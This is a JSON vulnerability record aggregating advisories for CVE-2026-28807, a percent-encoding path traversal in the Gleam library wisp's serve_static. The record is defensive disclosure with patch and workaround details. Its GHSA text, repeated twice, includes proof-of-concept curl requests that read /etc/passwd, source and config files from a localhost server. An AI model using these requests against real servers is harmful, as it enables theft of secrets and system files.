{"id":"CVE-2026-28807","aliases":["EEF-CVE-2026-28807","EUVD-2026-10906","GHSA-h7cj-j2vv-qw8r"],"status":"published","title":"Path Traversal in wisp.serve_static allows arbitrary file read","description":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in gleam-wisp wisp allows arbitrary file read via percent-encoded path traversal.\n\nThe wisp.serve_static function is vulnerable to path traversal because sanitization runs before percent-decoding. The encoded sequence %2e%2e passes through string.replace unchanged, then uri.percent_decode converts it to .., which the OS resolves as directory traversal when the file is read.\n\nAn unauthenticated attacker can read any file readable by the application process in a single HTTP request, including application source code, configuration files, secrets, and system files.\n\nThis issue affects wisp: from 2.1.1 before 2.2.1.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.01165,"percentile":0.67707,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2026-03-10T21:34:47Z","modified":"2026-10-28T02:31:09Z","fixes":[{"ecosystem":"Hex","package":"wisp","fixed_in":["2.2.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Hex","package":"wisp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.1.1"},{"fixed":"2.2.1"}]}]},{"source":"osv","ecosystem":"Hex","package":"wisp","ranges":[{"type":"SEMVER","events":[{"introduced":"2.1.1"},{"fixed":"2.2.1"}]}],"versions":["2.1.1","2.2.0"]},{"source":"osv","ecosystem":"Hex","package":"wisp","ranges":[{"type":"SEMVER","events":[{"introduced":"2.1.1"},{"fixed":"2.2.1"}]}],"versions":["2.1.1","2.2.0"]}],"products":[{"vendor":"gleam-wisp","product":"wisp"}],"references":[{"url":"https://github.com/gleam-wisp/wisp/security/advisories/GHSA-h7cj-j2vv-qw8r","tags":["vendor-advisory","related","Exploit","Patch","Vendor Advisory","advisory","web"]},{"url":"https://cna.erlef.org/cves/CVE-2026-28807.html","tags":["related","Third Party Advisory","web"]},{"url":"https://osv.dev/vulnerability/EEF-CVE-2026-28807","tags":["related","Third Party Advisory","web"]},{"url":"https://github.com/gleam-wisp/wisp/commit/161118c431047f7ef1ff7cabfcc38981877fdd93","tags":["patch","Patch","fix","web"]},{"url":"https://github.com/gleam-wisp/wisp/commit/129dcb1fe10ab1e676145d91477535e1c90ab550","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28807","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-h7cj-j2vv-qw8r"},{"url":"https://github.com","tags":["web"]},{"url":"https://repo.hex.pm","tags":["web"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/28xxx/CVE-2026-28807.json","tags":["advisory"]},{"url":"https://github.com/gleam-wisp/wisp","tags":["package"]},{"url":"https://github.com/gleam-wisp/wisp.git","tags":["package"]},{"url":"https://hex.pm/packages/wisp","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-28807","title":"Path Traversal in wisp.serve_static allows arbitrary file read","description":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in gleam-wisp wisp allows arbitrary file read via percent-encoded path traversal.\n\nThe wisp.serve_static function is vulnerable to path traversal because sanitization runs before percent-decoding. The encoded sequence %2e%2e passes through string.replace unchanged, then uri.percent_decode converts it to .., which the OS resolves as directory traversal when the file is read.\n\nAn unauthenticated attacker can read any file readable by the application process in a single HTTP request, including application source code, configuration files, secrets, and system files.\n\nThis issue affects wisp: from 2.1.1 before 2.2.1.","status":"published","published":"2026-03-10T21:34:47.859Z","modified":"2026-04-06T16:44:07.589Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:20:02.290587Z"}],"euvd":[{"id":"EUVD-2026-10906","description":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in gleam-wisp wisp allows arbitrary file read via percent-encoded path traversal.\n\nThe wisp.serve_static function is vulnerable to path traversal because sanitization runs before percent-decoding. The encoded sequence %2e%2e passes through string.replace unchanged, then uri.percent_decode converts it to .., which the OS resolves as directory traversal when the file is read.\n\nAn unauthenticated attacker can read any file readable by the application process in a single HTTP request, including application source code, configuration files, secrets, and system files.\n\nThis issue affects wisp: from 2.1.1 before 2.2.1.","status":"published","published":"2026-03-10T21:34:47Z","modified":"2026-04-06T16:44:07Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T19:25:15.794407Z"}],"ghsa":[{"id":"GHSA-h7cj-j2vv-qw8r","title":"Wisp Vulnerable to Path Traversal","description":"### Summary\n\n`wisp.serve_static` is vulnerable to arbitrary file read via percent-encoded path traversal (`%2e%2e`). The directory traversal sanitization runs before percent-decoding, allowing encoded `..` sequences to bypass the filter. An unauthenticated attacker can read any file readable by the application process in a single HTTP request.\n\n### Details\n\nIn `src/wisp.gleam`, `serve_static` processes the request path in this order:\n\n```gleam\nlet path =\n  path\n  |\u003e string.drop_start(string.length(prefix))\n  |\u003e string.replace(each: \"..\", with: \"\")   // Step 1: sanitize\n  |\u003e filepath.join(directory, _)\n\nlet path = case uri.percent_decode(path) {  // Step 2: decode\n  Ok(p) -\u003e p\n  Error(_) -\u003e path\n}\n```\n\nSanitization (step 1) strips literal `..` but runs **before** percent-decoding (step 2). The encoded sequence `%2e%2e` passes through `string.replace` unchanged, then `uri.percent_decode` converts it to `..`, which the OS resolves as directory traversal when the file is read.\n\n### PoC\n\nAny application using `wisp.serve_static`:\n\n```gleam\nfn handle_request(req: wisp.Request) -\u003e wisp.Response {\n  use \u003c- wisp.serve_static(req, under: \"/static\", from: priv_directory())\n  wisp.not_found()\n}\n```\n\nExploit (requires `--path-as-is` to prevent client-side normalization):\n\n```bash\n# Read /etc/passwd\ncurl -s --path-as-is \\\n  \"http://localhost:8080/static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\"\n\n# Read project source code\ncurl -s --path-as-is \\\n  \"http://localhost:8080/static/%2e%2e/%2e%2e/src/app.gleam\"\n\n# Read project config\ncurl -s --path-as-is \\\n  \"http://localhost:8080/static/%2e%2e/%2e%2e/gleam.toml\"\n```\n\n### Impact\n\nThis is a **path traversal / arbitrary file read** vulnerability (CWE-22). Any application using `wisp.serve_static` is affected. An unauthenticated attacker can read:\n\n- Application source code\n- Configuration and secrets in `priv/`\n- `.env` files, `secret_key_base`, private keys\n- System files (`/etc/passwd`, `/etc/shadow` if permissions allow)\n\n### Workaround\n\nCopy the [fixed implementation](https://github.com/gleam-wisp/wisp/blob/161118c431047f7ef1ff7cabfcc38981877fdd93/src/wisp.gleam#L1413-L1461) to your codebase and replace references to wisp.serve_static with this version in your codebase.\n\n### References\n\n* Commit that introduced the vulnerability: https://github.com/gleam-wisp/wisp/commit/129dcb1fe10ab1e676145d91477535e1c90ab550\n* Patch Commit: https://github.com/gleam-wisp/wisp/commit/161118c431047f7ef1ff7cabfcc38981877fdd93","status":"published","published":"2026-03-11T00:11:39Z","modified":"2026-06-08T23:41:36Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:40:21.48274Z"}],"nvd":[{"id":"CVE-2026-28807","description":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in gleam-wisp wisp allows arbitrary file read via percent-encoded path traversal.\n\nThe wisp.serve_static function is vulnerable to path traversal because sanitization runs before percent-decoding. The encoded sequence %2e%2e passes through string.replace unchanged, then uri.percent_decode converts it to .., which the OS resolves as directory traversal when the file is read.\n\nAn unauthenticated attacker can read any file readable by the application process in a single HTTP request, including application source code, configuration files, secrets, and system files.\n\nThis issue affects wisp: from 2.1.1 before 2.2.1.","status":"published","published":"2026-03-10T22:16:18.64Z","modified":"2026-06-17T10:29:04.867Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"primary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:12:08.98071Z"}],"osv":[{"id":"CVE-2026-28807","title":"Path Traversal in wisp.serve_static allows arbitrary file read","description":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in gleam-wisp wisp allows arbitrary file read via percent-encoded path traversal.\n\nThe wisp.serve_static function is vulnerable to path traversal because sanitization runs before percent-decoding. The encoded sequence %2e%2e passes through string.replace unchanged, then uri.percent_decode converts it to .., which the OS resolves as directory traversal when the file is read.\n\nAn unauthenticated attacker can read any file readable by the application process in a single HTTP request, including application source code, configuration files, secrets, and system files.\n\nThis issue affects wisp: from 2.1.1 before 2.2.1.","status":"published","published":"2026-03-10T21:34:47.859Z","modified":"2026-10-28T02:31:09.616409485Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:45:00.530889Z"},{"id":"EEF-CVE-2026-28807","title":"Path Traversal in wisp.serve_static allows arbitrary file read","description":"## Summary\n\nImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in gleam-wisp wisp allows arbitrary file read via percent-encoded path traversal.\n\nThe wisp.serve\\_static function is vulnerable to path traversal because sanitization runs before percent-decoding. The encoded sequence %2e%2e passes through string.replace unchanged, then uri.percent\\_decode converts it to .., which the OS resolves as directory traversal when the file is read.\n\nAn unauthenticated attacker can read any file readable by the application process in a single HTTP request, including application source code, configuration files, secrets, and system files.\n\nThis issue affects wisp: from 2.1.1 before 2.2.1.","status":"published","published":"2026-03-10T21:34:47.859Z","modified":"2026-07-30T18:22:04.985449Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:33.047032Z"},{"id":"GHSA-h7cj-j2vv-qw8r","title":"Wisp Vulnerable to Path Traversal","description":"### Summary\n\n`wisp.serve_static` is vulnerable to arbitrary file read via percent-encoded path traversal (`%2e%2e`). The directory traversal sanitization runs before percent-decoding, allowing encoded `..` sequences to bypass the filter. An unauthenticated attacker can read any file readable by the application process in a single HTTP request.\n\n### Details\n\nIn `src/wisp.gleam`, `serve_static` processes the request path in this order:\n\n```gleam\nlet path =\n  path\n  |\u003e string.drop_start(string.length(prefix))\n  |\u003e string.replace(each: \"..\", with: \"\")   // Step 1: sanitize\n  |\u003e filepath.join(directory, _)\n\nlet path = case uri.percent_decode(path) {  // Step 2: decode\n  Ok(p) -\u003e p\n  Error(_) -\u003e path\n}\n```\n\nSanitization (step 1) strips literal `..` but runs **before** percent-decoding (step 2). The encoded sequence `%2e%2e` passes through `string.replace` unchanged, then `uri.percent_decode` converts it to `..`, which the OS resolves as directory traversal when the file is read.\n\n### PoC\n\nAny application using `wisp.serve_static`:\n\n```gleam\nfn handle_request(req: wisp.Request) -\u003e wisp.Response {\n  use \u003c- wisp.serve_static(req, under: \"/static\", from: priv_directory())\n  wisp.not_found()\n}\n```\n\nExploit (requires `--path-as-is` to prevent client-side normalization):\n\n```bash\n# Read /etc/passwd\ncurl -s --path-as-is \\\n  \"http://localhost:8080/static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\"\n\n# Read project source code\ncurl -s --path-as-is \\\n  \"http://localhost:8080/static/%2e%2e/%2e%2e/src/app.gleam\"\n\n# Read project config\ncurl -s --path-as-is \\\n  \"http://localhost:8080/static/%2e%2e/%2e%2e/gleam.toml\"\n```\n\n### Impact\n\nThis is a **path traversal / arbitrary file read** vulnerability (CWE-22). Any application using `wisp.serve_static` is affected. An unauthenticated attacker can read:\n\n- Application source code\n- Configuration and secrets in `priv/`\n- `.env` files, `secret_key_base`, private keys\n- System files (`/etc/passwd`, `/etc/shadow` if permissions allow)\n\n### Workaround\n\nCopy the [fixed implementation](https://github.com/gleam-wisp/wisp/blob/161118c431047f7ef1ff7cabfcc38981877fdd93/src/wisp.gleam#L1413-L1461) to your codebase and replace references to wisp.serve_static with this version in your codebase.\n\n### References\n\n* Commit that introduced the vulnerability: https://github.com/gleam-wisp/wisp/commit/129dcb1fe10ab1e676145d91477535e1c90ab550\n* Patch Commit: https://github.com/gleam-wisp/wisp/commit/161118c431047f7ef1ff7cabfcc38981877fdd93","status":"published","published":"2026-03-11T00:11:39Z","modified":"2026-06-08T23:45:16.922122159Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"},{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:48.920784Z"}]}}